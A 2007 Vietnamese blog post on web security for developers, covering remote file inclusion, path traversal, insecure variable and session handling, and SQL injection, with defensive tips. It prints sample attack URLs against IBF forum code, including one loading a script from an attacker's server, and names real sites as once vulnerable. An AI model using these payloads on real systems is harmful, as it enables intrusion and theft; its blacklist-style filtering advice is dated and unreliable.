Thursday, December 13, 2007

Kinh nghiệm Bảo mật trong lập trình Web

•Các hacker có thể sử dụng lỗi này để xâm nhập vào các server để ăn cắp thông tin , deface v..v… và còn có thể cướp quyền quản lý server…

•Đây là lỗi khá nghiêm trọng vì vậy khi lập trình chúng ta phải cẩn thận để không mắc lỗi này.

• Trong PHP , một số hàm như include , require , v…v… cho phép hacker có thể chạy script ở một server khác ( remote files ) để tấn công trực tiếp vào website hoặc server của bạn.

Lỗi trong xử lý Files
Ví dụ :
Trong IBF 1.1 bị lỗi xử lý file ở ad_member.php
===== ad_member.php =====
global $IN, $root_path, $INFO, $DB, $SKIN, $ADMIN, $std, $MEMBER, $GROUP, $ibforums;
require $root_path."sources/lib/post_parser.php";
$parser = new post_parser();

if ($IN['MEMBER_ID'] == "")
{
$ADMIN->error("Could not resolve member id");
}
=====================

Lỗi trong xử lý Files
Hacker có thể tấn công vào như sau:
http://victim.com/ibf/sources/Admin/ad_member.php?IN[code]=doform&root_path=http://myserver/

Hacker có thể chạy script PHP nằm trong file sources/lib/post_parser.php trên http://myserver (remote server) . Script trong file này có thể là script backdoor, chiếm quyền admin , leo thang chiếm server , deface v..v…

• Ngoài ra, Hacker còn có thể tận dụng các lỗi trong việc xử lý file để có thể đọc source hoặc đọc các file hệ thống.

Ví dụ : Hacker có thể đọc source của trang web : http://interhacker.org chỉ bằng một cách rất đơn giản là gõ URL: http://interhacker.org/cc/?cclib=../index.php

===== index.php =====

include "../functions/basicfc.php";
include "../functions/poster.php";
site_header("Hacking Credit Card");
show_poster("post","ccpost");
show_poster("lib","cclib");
hit_counter("cc.cnt");
site_footer();
?>
=================

Lỗi này do người lập trình Web đã xử lý không cẩn thận những tham số của hàm fopen(…),… tạo điều kiện cho hacker có thể xem source v..v…

Không những thế hacker còn có thể sử dụng các lỗi này để đọc các file quan trọng của server như /etc/passwd , /etc/domainalias …

Các lỗi về file như thế này đặc biệt nguy hiểm đối với các server bảo mật lỏng lẻo.

•Những lỗi trong xử lý file này không những chỉ trên PHP mà còn lỗi trên CGI, ASP , …
•Example: (Chưa hoàn thành xong phần)

•Lỗi này là một trong những lỗi cơ bản nhưng nó đã gây ra không ít những khó khăn , thiệt hại cho các chủ Website, server v...v…
•Tại Việt Nam , đã có rất nhiều server , website bị hack bởi lỗi này. Điển hình như:

www.fptnet.com.vn
www.hcm.fpt.vn
www.pavietnam.com

v..v…

Hiện nay, các lập trình viên đã chú trọng hơn đến lỗi này, vì vậy các trang web của Việt Nam rất ít khi gặp lỗi này . Đây là một tín hiệu mừng cho bảo mật Việt Nam. Lỗi trong khai báo biến và xử lý biến là vô cùng nguy hiểm cho các Website .

•Lỗi này do người viết code không chú ý hay có thể do sai sót trong việc khai báo hoặc xử lý biến mà các hacker có thể lợi dụng để tấn công
•Rất nhiều Website : Shoping Cart , Mua bán Domain ,…. bị mắc lỗi này trong 1 số khâu quan trọng mà các hacker có thể lợi dụng để gian lận tiền bạc trong giao dịch hay mua bán bất hợp pháp , ……

Thiệt hại do việc tấn công sẽ không nhỏ và còn làm mất uy tín của người lập trình viên.

Chúng ta sẽ phân tích một số lỗi để thấy được sự nguy hiểm của lỗi này (tất cả các lỗi nêu ra đều đã được fix)

Lỗi trong khai báo và xử lý biến

www.truongthi.com.vn:

Bạn có thể access dễ dàng vào Control panel của trang Web trường thi mà trong đó chứa rất nhiều thông tin về account ( 1260, prepaid) , thông tin về Card Trường thi chỉ bằng cách gõ URL:

Lỗi trong khai báo và xử lý biến
www.truongthi.com.vn/Admin/login.asp?uid=1

Sở dĩ có lỗi trên là do trường thi đã không cẩn thận trong check biến uid để Hacker dễ dàng thâm nhập vào Admin Control Panel.

Lỗi trong khai báo và xử lý biến

www.registerfly.com:

Registerfly là một web site lớn để đăng kí domain nhưng vừa rồi lỗi biến push domain. Dựa vào lỗi này Các hacker có thể chuyển toàn bộ n domain của 1 tài khoản này sang tài khoản khác 1 cách bất hợp pháp . Nguyên nhân do cơ chế Push Domain cửa registerfly . Khi push domain từ tài khoản của mình sang tài khoản của người khác trên adress url : push.php?push=0 .

Lỗi trong khai báo và xử lý biến

•Biến push=0 nghĩa là chuyển domain của mình sang người khác , vì registerfly sơ xuất các hacker đã thay đổi giá trị push=1 trên Url ngẫu nhiên chuyển ngược lại domain của người khác sang tài khoản của mình , đây là biến push do registerfly định nghĩa 1 cách chưa cẩn thận , cho phép các tài khoản khác thay đổi giá trị biến mà không được phép .

•Lỗi Session trong enom và register :
Đây là lỗi tương đối nguy hiểm khi ngườI viết code không chú ý đến biến cần xét hoặc không mã hóa session id cho 1 member dẫn đến có thể access vào user qua secssion id .

Ví dụ : trong 1 trang thông tin : các thành viên được xác đinh bằng session id , khi 1 người sửa thông tin về mình trên address: http://victim.com/profile.php?id=43 .Người đó sửa id=54 lập tức sang sửa được Information của người khác . Nguyên nhân là do người viết code chỉ chú ý đến thành viên đó có id=43 chứ chưa quan tâm đến các yếu tố khác như username.

Thậm chí mặc dù id được mã hoá md5 : http://victim.com/profile.php?id=432hjhfjsd87fs5435fgg4545. Các hacker có thể đoán được số id rồi mà hoá md5 id đó để có thể tấn công lên .

www.enom.com : Bug secssion id cho phép access từ tài khoản domain của mình sang của ngườI khác . www.ttvnonline.com cũng bị hack theo cách này .

www.register.com: Công ty idefense đã công bố lỗi forgot password : Các hacker có thể access để thay đổi pass của username đăng kí tại register.com thông qua session ID.Hacker có thể buter force để lấy được session Id.

•Ibf forum 1.2 RC 1 : H
iện nay phiên bản mới nhất của Ibf là 1.2 RC 2 nhưng phiên bản 1.2 RC 1 vẫn rất nhiều người sử dụng. Ở phiên bản này , Hacker có thể dễ dàng đột nhập vào cơ sở dữ liệu lấy password của Admin ( Mặc dù đã được mã hoá nhưng vẫn có thể sử dụng được - Cướp quyền Admin )

Hacker chỉ cần gõ URL:

http://victim.com/index.php?act=member&name=%2527....

Sở dĩ có lỗi như trên vì trong file:

===== memberlist.php =====

$ibforums->input['name'] = $std->clean_value(trim(urldecode(stripslashes($ibforums->input['name']))));

if ($ibforums->input['name'] == "")
{
$ibforums->input['name_box'] = 'all';
}

=====================

Trước khi được xử lý biến $ibforums->input[‘name’] có giá trị là %27….Sau khi xử lý biến này có giá trị là ‘… Hacker lợi dụng lỗi này để tấn công và lấy password admin

•Đây là một lỗi rất nguy hiểm.
•Rất nhiều Website của Việt Nam bị lỗi này như:

www.tuyensinh.vdc.com.vn
www.vietel.com.vn
www.member.fpt.vn
www.support.vnn.vn
www.moet.edu.vn
www.home.vnn.vn

v…v…

Lỗi SQL injection biến

• Hiện nay lỗi SQL injection là một trong những lỗi cực kì nguy hiểm .
• Hacker có thể sử dụng lỗi này để tấn công vào cơ sở dữ liệu của Website hoặc tấn công vào cả server
• Hacker có thể ăn cắp , cập nhật thông tin hoặc upload file để hack server.
• Rất nhiều Website trong nước và quốc tế bị lỗi này.

•Một số site bị lỗi này như:

www.support.vnn.vn
www.tuyensinh.vdc.com.vn
www.fpt.vn
www.fptnet.com.vn
www.hcm.fpt.vn
www.member.fpt.vn v…v…

Một số phương pháp cơ bản bảo mật trong lập trình Web

• Xử lý biến là một trong những phương pháp quan trọng trong lập trình để có thể bảo mật thật tốt cho Website của bạn
• Xử lý biến có nhiều giai đoạn khá phức tạp nhưng không thể không làm vì nếu bạn không xử lý biến cẩn thận sẽ gây ra hậu quả rất nặng nề
• Các hacker sẽ không thể làm gì website của bạn ( trừ khi hack server hoặc domain) nếu bạn kiểm tra và xử lý biến một cách cẩn thận
• Chống SQL injection: Đối với Website nào sử dụng database cũng vậy , bạn cần phải chú trọng đến việc chống SQL injection.

Bạn nên làm theo các bước như sau:
Một số phương pháp xử lý biến

- Thay thế tất cả các dấu ‘ thành ‘’ hoặc xoá tất cả dấu ‘đi
- Xoá các dấu đặc biệt trong SQL như -- , ; , …

Trong PHP , dấu ‘ sẽ được chuyển thành dấu \’ , về cơ bản thì nó không gây nguy hiểm đối với mySQL nhưng đối với những loại khác như oracle, v..v… thì cách chuyển này không hiệu quả , nên bạn hãy chú ý để tránh lỗi.

• Chống các lỗi về file: Để chống các lỗi về file bạn nên thực hiện các bứơc như sau:
-Thay thế tất cả các dấu / thành kí tự khác
-Loại bỏ các kí tự như .. , . , v..v..
• Chống XSS : XSS là một lỗi khá thông dụng hacker có thể sử dụng lỗi này để chôm chỉa cookies v…v…Để chống lỗi này bạn nên làm như sau:

- Loại bỏ tất cả các tag html ( có thể sử dụng lệnh có sẵn) hoặc thay thể các kí tự đặc biệt như <,>,….
- Ngoài ra, những kí tự như: ;,:,//,… bạn nên xoá bỏ hoặc thay thế thanh mã hex của nó

Logging

• Logging là một kĩ thuật bảo mật khá đơn giản nhưng hiệu quả.
• Bạn nên log lại những thông tin về lỗi trên Website , rất có thể lỗi đó rất nguy hiểm có thể ảnh hưởng đến Website của bạn
• Bạn có thể chỉ cần bỏ thời gian viết những đoạn script logging đơn giản để có thể log lại những hoạt động bất hợp pháp trên Website của bạn.
• Sử dụng error_log() ( PHP ) , Err (ASP ), … là bạn có thể log lại bất cứ các err nào trên Website của bạn.
• Hiện nay , hầu như tất cả các Website lớn đều đặt Logging …

No comments: